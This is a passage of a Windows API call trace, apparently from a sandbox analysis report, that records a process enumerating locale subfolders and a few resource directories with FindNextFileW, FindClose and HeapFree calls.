	[0166.300] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0166.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0166.303] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0166.303] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0166.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.303] FindNextFileW (in: hFindFile=0x394b878, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0166.303] FindClose (in: hFindFile=0x394b878 | out: hFindFile=0x394b878) returned 1
	[0166.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0166.303] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0166.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.304] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0166.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.304] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0166.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.304] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0166.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.304] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0166.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.308] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0166.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.309] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0166.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.309] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0166.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.310] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0166.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.311] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0166.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.311] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0166.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.312] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0166.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.313] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0166.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.313] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0166.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.314] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0166.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.315] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0166.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.316] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0166.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.316] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0166.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.317] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0166.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.321] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0166.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.322] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0166.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.323] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0166.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.324] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0166.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.324] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0166.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.324] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0166.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.325] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0166.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.325] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0166.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.326] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0166.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.326] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0166.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.327] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0166.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.327] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0166.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.327] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0166.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.328] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0166.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.328] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0166.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.329] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0166.329] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0166.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
